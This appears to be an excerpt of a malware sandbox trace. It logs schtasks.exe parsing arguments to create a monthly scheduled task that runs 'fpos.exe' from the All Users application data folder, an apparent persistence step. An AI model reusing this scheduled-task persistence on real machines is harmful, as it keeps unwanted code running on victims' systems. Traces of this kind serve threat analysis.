[0086.867] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.867] lstrlenW (lpString="mo") returned 2 [0086.867] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.867] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|?|") returned 3 [0086.867] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|mo|") returned 4 [0086.868] lstrlenW (lpString="|?|") returned 3 [0086.868] lstrlenW (lpString="|mo|") returned 4 [0086.868] SetLastError (dwErrCode=0x490) [0086.868] lstrlenW (lpString="s") returned 1 [0086.868] lstrlenW (lpString="s") returned 1 [0086.868] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.868] lstrlenW (lpString="mo") returned 2 [0086.868] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.868] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|s|") returned 3 [0086.868] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|mo|") returned 4 [0086.868] lstrlenW (lpString="|s|") returned 3 [0086.868] lstrlenW (lpString="|mo|") returned 4 [0086.868] SetLastError (dwErrCode=0x490) [0086.868] lstrlenW (lpString="u") returned 1 [0086.868] lstrlenW (lpString="u") returned 1 [0086.868] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.869] lstrlenW (lpString="mo") returned 2 [0086.869] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.869] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|u|") returned 3 [0086.869] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|mo|") returned 4 [0086.869] lstrlenW (lpString="|u|") returned 3 [0086.869] lstrlenW (lpString="|mo|") returned 4 [0086.869] SetLastError (dwErrCode=0x490) [0086.869] lstrlenW (lpString="p") returned 1 [0086.869] lstrlenW (lpString="p") returned 1 [0086.869] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.869] lstrlenW (lpString="mo") returned 2 [0086.870] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.870] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|p|") returned 3 [0086.870] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|mo|") returned 4 [0086.870] lstrlenW (lpString="|p|") returned 3 [0086.870] lstrlenW (lpString="|mo|") returned 4 [0086.870] SetLastError (dwErrCode=0x490) [0086.870] lstrlenW (lpString="ru") returned 2 [0086.870] lstrlenW (lpString="ru") returned 2 [0086.870] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.870] lstrlenW (lpString="mo") returned 2 [0086.870] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.870] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|ru|") returned 4 [0086.870] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|mo|") returned 4 [0086.870] lstrlenW (lpString="|ru|") returned 4 [0086.870] lstrlenW (lpString="|mo|") returned 4 [0086.870] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0086.871] SetLastError (dwErrCode=0x490) [0086.871] lstrlenW (lpString="rp") returned 2 [0086.871] lstrlenW (lpString="rp") returned 2 [0086.871] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.871] lstrlenW (lpString="mo") returned 2 [0086.871] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.871] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rp|") returned 4 [0086.871] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|mo|") returned 4 [0086.871] lstrlenW (lpString="|rp|") returned 4 [0086.871] lstrlenW (lpString="|mo|") returned 4 [0086.871] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0086.871] SetLastError (dwErrCode=0x490) [0086.871] lstrlenW (lpString="sc") returned 2 [0086.871] lstrlenW (lpString="sc") returned 2 [0086.871] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.871] lstrlenW (lpString="mo") returned 2 [0086.871] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.872] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sc|") returned 4 [0086.872] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|mo|") returned 4 [0086.872] lstrlenW (lpString="|sc|") returned 4 [0086.872] lstrlenW (lpString="|mo|") returned 4 [0086.872] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0086.872] SetLastError (dwErrCode=0x490) [0086.872] lstrlenW (lpString="mo") returned 2 [0086.872] lstrlenW (lpString="mo") returned 2 [0086.872] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.872] lstrlenW (lpString="mo") returned 2 [0086.872] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.872] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|mo|") returned 4 [0086.872] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|mo|") returned 4 [0086.872] lstrlenW (lpString="|mo|") returned 4 [0086.872] lstrlenW (lpString="|mo|") returned 4 [0086.873] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0086.873] SetLastError (dwErrCode=0x0) [0086.873] SetLastError (dwErrCode=0x0) [0086.873] lstrlenW (lpString="7") returned 1 [0086.873] SetLastError (dwErrCode=0x490) [0086.873] SetLastError (dwErrCode=0x0) [0086.873] lstrlenW (lpString="7") returned 1 [0086.873] StrChrIW (lpStart="7", wMatch=0x3a) returned 0x0 [0086.873] SetLastError (dwErrCode=0x490) [0086.873] SetLastError (dwErrCode=0x0) [0086.873] _memicmp (_Buf1=0xfd6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.873] lstrlenW (lpString="7") returned 1 [0086.873] lstrlenW (lpString="7") returned 1 [0086.873] lstrlenW (lpString=" \x09") returned 2 [0086.873] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0086.873] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0086.873] GetLastError () returned 0x0 [0086.873] lstrlenW (lpString="7") returned 1 [0086.873] lstrlenW (lpString="7") returned 1 [0086.873] GetProcessHeap () returned 0xe0000 [0086.874] RtlAllocateHeap (HeapHandle=0xe0000, Flags=0xc, Size=0x4) returned 0xfc320 [0086.874] SetLastError (dwErrCode=0x0) [0086.874] SetLastError (dwErrCode=0x0) [0086.874] lstrlenW (lpString="/tr") returned 3 [0086.874] lstrlenW (lpString="-/") returned 2 [0086.874] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.874] lstrlenW (lpString="create") returned 6 [0086.874] lstrlenW (lpString="create") returned 6 [0086.874] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.874] lstrlenW (lpString="tr") returned 2 [0086.874] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.874] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|create|") returned 8 [0086.874] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.874] lstrlenW (lpString="|create|") returned 8 [0086.874] lstrlenW (lpString="|tr|") returned 4 [0086.874] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0086.874] SetLastError (dwErrCode=0x490) [0086.875] lstrlenW (lpString="?") returned 1 [0086.875] lstrlenW (lpString="?") returned 1 [0086.875] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.875] lstrlenW (lpString="tr") returned 2 [0086.875] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.875] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|?|") returned 3 [0086.875] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.875] lstrlenW (lpString="|?|") returned 3 [0086.875] lstrlenW (lpString="|tr|") returned 4 [0086.875] SetLastError (dwErrCode=0x490) [0086.875] lstrlenW (lpString="s") returned 1 [0086.875] lstrlenW (lpString="s") returned 1 [0086.875] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.875] lstrlenW (lpString="tr") returned 2 [0086.875] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.875] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|s|") returned 3 [0086.875] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.875] lstrlenW (lpString="|s|") returned 3 [0086.875] lstrlenW (lpString="|tr|") returned 4 [0086.875] SetLastError (dwErrCode=0x490) [0086.875] lstrlenW (lpString="u") returned 1 [0086.875] lstrlenW (lpString="u") returned 1 [0086.875] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.876] lstrlenW (lpString="tr") returned 2 [0086.876] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.876] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|u|") returned 3 [0086.876] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.876] lstrlenW (lpString="|u|") returned 3 [0086.876] lstrlenW (lpString="|tr|") returned 4 [0086.876] SetLastError (dwErrCode=0x490) [0086.876] lstrlenW (lpString="p") returned 1 [0086.876] lstrlenW (lpString="p") returned 1 [0086.876] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.876] lstrlenW (lpString="tr") returned 2 [0086.876] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.876] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|p|") returned 3 [0086.876] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.876] lstrlenW (lpString="|p|") returned 3 [0086.876] lstrlenW (lpString="|tr|") returned 4 [0086.876] SetLastError (dwErrCode=0x490) [0086.876] lstrlenW (lpString="ru") returned 2 [0086.876] lstrlenW (lpString="ru") returned 2 [0086.876] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.876] lstrlenW (lpString="tr") returned 2 [0086.876] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.876] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|ru|") returned 4 [0086.876] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.876] lstrlenW (lpString="|ru|") returned 4 [0086.876] lstrlenW (lpString="|tr|") returned 4 [0086.876] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0086.876] SetLastError (dwErrCode=0x490) [0086.876] lstrlenW (lpString="rp") returned 2 [0086.877] lstrlenW (lpString="rp") returned 2 [0086.877] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.877] lstrlenW (lpString="tr") returned 2 [0086.877] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.877] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rp|") returned 4 [0086.877] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.877] lstrlenW (lpString="|rp|") returned 4 [0086.877] lstrlenW (lpString="|tr|") returned 4 [0086.877] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0086.877] SetLastError (dwErrCode=0x490) [0086.877] lstrlenW (lpString="sc") returned 2 [0086.877] lstrlenW (lpString="sc") returned 2 [0086.877] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.877] lstrlenW (lpString="tr") returned 2 [0086.877] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.877] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sc|") returned 4 [0086.877] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.877] lstrlenW (lpString="|sc|") returned 4 [0086.877] lstrlenW (lpString="|tr|") returned 4 [0086.877] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0086.877] SetLastError (dwErrCode=0x490) [0086.877] lstrlenW (lpString="mo") returned 2 [0086.877] lstrlenW (lpString="mo") returned 2 [0086.877] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.877] lstrlenW (lpString="tr") returned 2 [0086.877] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.878] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|mo|") returned 4 [0086.878] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.878] lstrlenW (lpString="|mo|") returned 4 [0086.878] lstrlenW (lpString="|tr|") returned 4 [0086.878] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0086.878] SetLastError (dwErrCode=0x490) [0086.878] lstrlenW (lpString="d") returned 1 [0086.878] lstrlenW (lpString="d") returned 1 [0086.878] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.878] lstrlenW (lpString="tr") returned 2 [0086.878] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.878] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|d|") returned 3 [0086.878] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.878] lstrlenW (lpString="|d|") returned 3 [0086.878] lstrlenW (lpString="|tr|") returned 4 [0086.878] SetLastError (dwErrCode=0x490) [0086.878] lstrlenW (lpString="m") returned 1 [0086.878] lstrlenW (lpString="m") returned 1 [0086.878] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.878] lstrlenW (lpString="tr") returned 2 [0086.878] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.878] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|m|") returned 3 [0086.878] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.878] lstrlenW (lpString="|m|") returned 3 [0086.878] lstrlenW (lpString="|tr|") returned 4 [0086.878] SetLastError (dwErrCode=0x490) [0086.878] lstrlenW (lpString="i") returned 1 [0086.878] lstrlenW (lpString="i") returned 1 [0086.878] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.878] lstrlenW (lpString="tr") returned 2 [0086.879] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.879] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|i|") returned 3 [0086.879] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.879] lstrlenW (lpString="|i|") returned 3 [0086.879] lstrlenW (lpString="|tr|") returned 4 [0086.879] SetLastError (dwErrCode=0x490) [0086.879] lstrlenW (lpString="tn") returned 2 [0086.879] lstrlenW (lpString="tn") returned 2 [0086.879] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.879] lstrlenW (lpString="tr") returned 2 [0086.879] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.879] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.879] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.879] lstrlenW (lpString="|tn|") returned 4 [0086.879] lstrlenW (lpString="|tr|") returned 4 [0086.879] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0086.879] SetLastError (dwErrCode=0x490) [0086.879] lstrlenW (lpString="tr") returned 2 [0086.879] lstrlenW (lpString="tr") returned 2 [0086.879] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.879] lstrlenW (lpString="tr") returned 2 [0086.879] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.879] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.879] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.879] lstrlenW (lpString="|tr|") returned 4 [0086.879] lstrlenW (lpString="|tr|") returned 4 [0086.879] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0086.879] SetLastError (dwErrCode=0x0) [0086.879] SetLastError (dwErrCode=0x0) [0086.879] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.880] lstrlenW (lpString="-/") returned 2 [0086.880] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0086.880] SetLastError (dwErrCode=0x490) [0086.880] SetLastError (dwErrCode=0x490) [0086.880] SetLastError (dwErrCode=0x0) [0086.880] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.880] StrChrIW (lpStart="'C:\\Users\\All Users\\Application Data\\fpos.exe'", wMatch=0x3a) returned=":\\Users\\All Users\\Application Data\\fpos.exe'" [0086.880] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.880] _memicmp (_Buf1=0xfc470, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.880] _memicmp (_Buf1=0xfd640, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.880] SetLastError (dwErrCode=0x7a) [0086.880] SetLastError (dwErrCode=0x0) [0086.880] SetLastError (dwErrCode=0x0) [0086.880] lstrlenW (lpString="'C") returned 2 [0086.880] lstrlenW (lpString="-/") returned 2 [0086.880] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0086.880] SetLastError (dwErrCode=0x490) [0086.880] SetLastError (dwErrCode=0x490) [0086.880] SetLastError (dwErrCode=0x0) [0086.880] _memicmp (_Buf1=0xfd6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.880] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.880] GetProcessHeap () returned 0xe0000 [0086.880] HeapValidate (hHeap=0xe0000, dwFlags=0x0, lpMem=0xfd6c0) returned 1 [0086.880] GetProcessHeap () returned 0xe0000 [0086.880] RtlReAllocateHeap (Heap=0xe0000, Flags=0xc, Ptr=0xfd6c0, Size=0x5e) returned 0xfc3b0 [0086.880] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.880] lstrlenW (lpString=" \x09") returned 2 [0086.880] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0086.880] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0086.880] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0086.880] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0086.880] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0086.880] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0086.880] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0086.881] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0086.881] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0086.881] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0086.882] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0086.882] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0086.882] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0086.882] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0086.882] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0086.882] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0086.882] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0086.882] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0086.882] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0086.882] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0086.882] GetLastError () returned 0x0 [0086.882] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.882] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.882] SetLastError (dwErrCode=0x0) [0086.882] SetLastError (dwErrCode=0x0) [0086.882] lstrlenW (lpString="/rl") returned 3 [0086.882] lstrlenW (lpString="-/") returned 2 [0086.882] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.882] lstrlenW (lpString="create") returned 6 [0086.882] lstrlenW (lpString="create") returned 6 [0086.882] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.882] lstrlenW (lpString="rl") returned 2 [0086.882] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.882] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|create|") returned 8 [0086.882] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.882] lstrlenW (lpString="|create|") returned 8 [0086.882] lstrlenW (lpString="|rl|") returned 4 [0086.882] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0086.882] SetLastError (dwErrCode=0x490) [0086.882] lstrlenW (lpString="?") returned 1 [0086.883] lstrlenW (lpString="?") returned 1 [0086.883] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.883] lstrlenW (lpString="rl") returned 2 [0086.883] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.883] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|?|") returned 3 [0086.883] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.883] lstrlenW (lpString="|?|") returned 3 [0086.883] lstrlenW (lpString="|rl|") returned 4 [0086.883] SetLastError (dwErrCode=0x490) [0086.883] lstrlenW (lpString="s") returned 1 [0086.883] lstrlenW (lpString="s") returned 1 [0086.883] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.883] lstrlenW (lpString="rl") returned 2 [0086.883] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.883] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|s|") returned 3 [0086.883] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.883] lstrlenW (lpString="|s|") returned 3 [0086.883] lstrlenW (lpString="|rl|") returned 4 [0086.883] SetLastError (dwErrCode=0x490) [0086.883] lstrlenW (lpString="u") returned 1 [0086.883] lstrlenW (lpString="u") returned 1 [0086.883] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.883] lstrlenW (lpString="rl") returned 2 [0086.883] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.883] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|u|") returned 3 [0086.883] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.883] lstrlenW (lpString="|u|") returned 3 [0086.883] lstrlenW (lpString="|rl|") returned 4 [0086.883] SetLastError (dwErrCode=0x490) [0086.883] lstrlenW (lpString="p") returned 1 [0086.883] lstrlenW (lpString="p") returned 1 [0086.884] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 